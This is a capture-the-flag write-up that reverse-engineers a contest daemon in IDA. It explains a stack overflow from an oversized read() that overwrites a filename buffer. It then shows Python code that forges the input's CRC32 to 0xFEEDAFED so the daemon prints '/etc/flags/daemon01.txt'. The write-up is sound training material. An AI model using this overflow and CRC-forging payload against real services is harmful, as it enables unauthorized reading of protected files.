Identifying the main function
IDA will land us right here when it finishes analysis.
.text:08048830 public start .text:08048830 start proc near .text:08048830 <b>xor</b> ebp, ebp .text:08048832 <b>pop</b> esi .text:08048833 <b>mov</b> ecx, esp .text:08048835 <b>and</b> esp, 0FFFFFFF0h .text:08048838 <b>push</b> eax .text:08048839 <b>push</b> esp .text:0804883A <b>push</b> edx .text:0804883B <b>push</b> offset sub_804C700 .text:08048840 <b>push</b> offset sub_804C6A0 .text:08048845 <b>push</b> ecx .text:08048846 <b>push</b> esi .text:08048847 <b>push</b> offset main .text:0804884C <b>call</b> ___libc_start_main
Notice at 08048847
, I have renamed the function as main
.
Analyzing main
Let’s get to main
now. The function starts with:
.text:08048AA1 main proc near ; DATA XREF: start+17↑o .text:08048AA1 .text:08048AA1 first_arg = dword ptr -2F8h .text:08048AA1 second_arg = dword ptr -2F4h .text:08048AA1 third_arg = dword ptr -2F0h .text:08048AA1 var_2EC = dword ptr -2ECh .text:08048AA1 var_2E8 = dword ptr -2E8h .text:08048AA1 var_260 = dword ptr -260h .text:08048AA1 num_read = dword ptr -25Ch .text:08048AA1 input_buffer = dword ptr -258h .text:08048AA1 var_4C = dword ptr -4Ch .text:08048AA1 filename = dword ptr -48h .text:08048AA1 .text:08048AA1 <b>push</b> ebp .text:08048AA2 <b>mov</b> ebp, esp .text:08048AA4 <b>sub</b> esp, 2F8h ; fildes .text:08048AAA <b>and</b> esp, 0FFFFFFF0h .text:08048AAD <b>mov</b> eax, 0 .text:08048AB2 <b>add</b> eax, 0Fh .text:08048AB5 <b>add</b> eax, 0Fh .text:08048AB8 <b>shr</b> eax, 4 .text:08048ABB <b>shl</b> eax, 4 .text:08048ABE <b>sub</b> esp, eax .text:08048AC0 <b>mov</b> [esp+2F8h+first_arg], offset static_buffer .text:08048AC7 <b>call</b> sub_80489E2 .text:08048ACC <b>mov</b> [esp+2F8h+third_arg], 200h .text:08048AD4 <b>mov</b> [esp+2F8h+second_arg], 0 .text:08048ADC <b>lea</b> eax, [ebp+input_buffer] .text:08048AE2 <b>mov</b> [esp+2F8h+first_arg], eax .text:08048AE5 <b>call</b> _memset .text:08048AEA <b>mov</b> [esp+2F8h+third_arg], 40h .text:08048AF2 <b>mov</b> [esp+2F8h+second_arg], 0 .text:08048AFA <b>lea</b> eax, [ebp+filename] .text:08048AFD <b>mov</b> [esp+2F8h+first_arg], eax .text:08048B00 <b>call</b> _memset .text:08048B05 <b>mov</b> [esp+2F8h+second_arg], offset aProcSelfMaps ; "/proc/self/maps" .text:08048B0D <b>lea</b> eax, [ebp+filename] .text:08048B10 <b>mov</b> [esp+2F8h+first_arg], eax .text:08048B13 <b>call</b> _strcpy .text:08048B18 <b>mov</b> [esp+2F8h+third_arg], 400h .text:08048B20 <b>lea</b> eax, [ebp+input_buffer] .text:08048B26 <b>mov</b> [esp+2F8h+second_arg], eax .text:08048B2A <b>mov</b> [esp+2F8h+first_arg], 0 .text:08048B31 <b>call</b> _read .text:08048B36 <b>mov</b> [ebp+num_read], eax .text:08048B3C <b>cmp</b> [ebp+num_read], 0FFFFFFFFh .text:08048B43 <b>jnz</b> short loc_8048B5D .text:08048B45 <b>mov</b> [esp+2F8h+first_arg], offset aRead ; "read" .text:08048B4C <b>call</b> _perror .text:08048B51 <b>mov</b> [esp+2F8h+first_arg], 1 .text:08048B58 <b>call</b> _exit
Well, you may have noticed that the names are not what you have in your IDA listing. These names are my names given to those identifiers after analyzing the function. So let’s see how we could arrive to the same naming.
First, there is a call to sub_80489E2
and a static_buffer
is passed to it. You will be right to guess this is some kind of initialization routine. Why static_buffer
? Because it is static
(located in .bss segment) and it is a buffer.
Next to it, some sort of buffer is reset to 0 with memset (0×200 bytes). Notice GCC uses mov
instead of push
to pass arguments to function. Some lowest (top) slots on the stack have been reserved for this purpose. So, a mov
to the lowest slot is equivalent to the last push
, or in other words, the first argument. And therefore I named the lowest slot first_arg
, followed (logically) by second_arg
and so on.
We see another buffer being reset to 0 (0×40 bytes). Then right after that, /proc/self/maps
is strcpy
‘d to that buffer. Well, let’s not waste anytime and mark it filename
.
With one buffer marked, we still have one left. Luckily, the next call to read
tells us that the remaining buffer should be named input_buffer
. Right?
But, hey, wait, the read
was for 0×400 bytes while input_buffer
is only (0×258 – 0x4C) byte long. That is, if you fill input_buffer
with (0×258 – 0x4C) bytes you will hit var_4C
, and if you fill 4 bytes more than that, you will hit the beginning of filename
. How wonderful! It gives you control over filename
.
Let’s move on.
.text:08048B5D loc_8048B5D: ; CODE XREF: main+A2↑j .text:08048B5D <b>mov</b> [esp+2F8h+third_arg], offset aEtcFlagsDaemon ; "/etc/flags/daemon01.txt" .text:08048B65 <b>mov</b> eax, [ebp+num_read] .text:08048B6B <b>mov</b> [esp+2F8h+second_arg], eax .text:08048B6F <b>lea</b> eax, [ebp+input_buffer] .text:08048B75 <b>mov</b> [esp+2F8h+first_arg], eax .text:08048B78 <b>call</b> is_from_server .text:08048B7D <b>mov</b> [esp+2F8h+third_arg], offset static_buffer .text:08048B85 <b>mov</b> eax, [ebp+num_read] .text:08048B8B <b>mov</b> [esp+2F8h+second_arg], eax .text:08048B8F <b>lea</b> eax, [ebp+input_buffer] .text:08048B95 <b>mov</b> [esp+2F8h+first_arg], eax .text:08048B98 <b>call</b> CRC32 .text:08048B9D <b>mov</b> [ebp+var_4C], eax .text:08048BA0 <b>cmp</b> [ebp+var_4C], 0FEEDAFEDh .text:08048BA7 <b>jnz</b> short loc_8048C25 .text:08048BA9 <b>mov</b> [esp+2F8h+second_arg], offset aR ; "r" .text:08048BB1 <b>lea</b> eax, [ebp+filename] .text:08048BB4 <b>mov</b> [esp+2F8h+first_arg], eax .text:08048BB7 <b>call</b> _fopen .text:08048BBC <b>mov</b> [ebp+var_260], eax .text:08048BC2 <b>cmp</b> [ebp+var_260], 0 .text:08048BC9 <b>jz</b> short loc_8048C25
Please just take it for granted that at 08048B78
is a call to process score server packets. So let’s skip it over and analyze the next call.
.text:08048A4C CRC32 proc near ; CODE XREF: main+F7↓p .text:08048A4C .text:08048A4C var_8 = dword ptr -8 .text:08048A4C var_4 = dword ptr -4 .text:08048A4C arg_0 = dword ptr 8 .text:08048A4C arg_4 = dword ptr 0Ch .text:08048A4C arg_8 = dword ptr 10h .text:08048A4C .text:08048A4C <b>push</b> ebp .text:08048A4D <b>mov</b> ebp, esp .text:08048A4F <b>sub</b> esp, 8 .text:08048A52 <b>mov</b> [ebp+var_8], 0FFFFFFFFh .text:08048A59 <b>mov</b> [ebp+var_4], 0 .text:08048A60 .text:08048A60 loc_8048A60: ; CODE XREF: CRC32+4C↓j .text:08048A60 <b>mov</b> eax, [ebp+var_4] .text:08048A63 <b>cmp</b> eax, [ebp+arg_4] .text:08048A66 <b>jge</b> short loc_8048A9A .text:08048A68 <b>mov</b> eax, [ebp+var_8] .text:08048A6B <b>mov</b> ecx, eax .text:08048A6D <b>shr</b> ecx, 8 .text:08048A70 <b>mov</b> eax, [ebp+var_4] .text:08048A73 <b>add</b> eax, [ebp+arg_0] .text:08048A76 <b>movzx</b> eax, byte ptr [eax] .text:08048A79 <b>xor</b> eax, [ebp+var_8] .text:08048A7C <b>and</b> eax, 0FFh .text:08048A81 <b>lea</b> edx, ds:0[eax*4] .text:08048A88 <b>mov</b> eax, [ebp+arg_8] .text:08048A8B <b>mov</b> eax, [edx+eax] .text:08048A8E <b>xor</b> eax, ecx .text:08048A90 <b>mov</b> [ebp+var_8], eax .text:08048A93 <b>lea</b> eax, [ebp+var_4] .text:08048A96 <b>inc</b> dword ptr [eax] .text:08048A98 <b>jmp</b> short loc_8048A60 .text:08048A9A ; --------------------------------------------------------------------------- .text:08048A9A .text:08048A9A loc_8048A9A: ; CODE XREF: CRC32+1A↑j .text:08048A9A <b>mov</b> eax, [ebp+var_8] .text:08048A9D <b>not</b> eax .text:08048A9F <b>leave</b> .text:08048AA0 <b>retn</b> .text:08048AA0 CRC32 endp
If you have seen CRC32 routine before, you will be able to tell this is it. A few signatures are the 0xFFFFFFFF
initial value, the “take each character, xor it, and logical and it with 0xFF
” (movzx
, xor
and and
starting from 08048A76
, and the negation at 08048A9D
.
And you’ll be tempting to rename static_buffer
to crc32_table
. But that’s beside the point.
Now we go back to the main
function. After taking CRC32 value of the whole read input_buffer
, the value is compared with 0xFEEDAFED
. If it is equal, then the filename
is open, read and written out.
Exploit it
Let’s gather what we’ve got. First we are able to overflow the filename
buffer. Second, if the CRC value matches 0xFEEDAFED
, the file identified by filename
will be opened, read, and written out to stdout
. And there lies our only challenge, to construct a buffer with CRC32 value matching 0xFEEDAFED
.
import zlib buffer = "a" * (0x258 - 0x48) + "/etc/flags/daemon01.txtx00" <b>def</b> fix_crc(buffer, target_crc): buffer_crc = zlib.crc32(buffer) charset = [chr(x) <b>for</b> x <b>in</b> range(256)] fix = ['a'] * 4 crc = [0] * 4 <b>for</b> fix[0] <b>in</b> charset: crc[0] = zlib.crc32(fix[0], buffer_crc) <b>for</b> fix[1] <b>in</b> charset: crc[1] = zlib.crc32(fix[1], crc[0]) <b>for</b> fix[2] <b>in</b> charset: crc[2] = zlib.crc32(fix[2], crc[1]) <b>for</b> fix[3] <b>in</b> charset: crc[3] = zlib.crc32(fix[3], crc[2]) <b>if</b> (crc[3] & 0xFFFFFFFF) == target_crc: <b>return</b> ''.join(fix) buffer = buffer + fix_crc(buffer, 0xFEEDAFED)
Behold our super-elite Python code! It will generate an exploit string ready to be sent to port 1111. Of course it runs damn slow. You are better off applying the reverse CRC32 described by anarchriz.
Observation
This daemon is similar to last year HITB 2006 KL CTF. Last year the CRC32 is a bit different, it used the same lookup table but initial value was not the standard 0xFFFFFFFF
and there was no negation at the end. This year, the CRC32 is the standard CRC32 used in Zlib.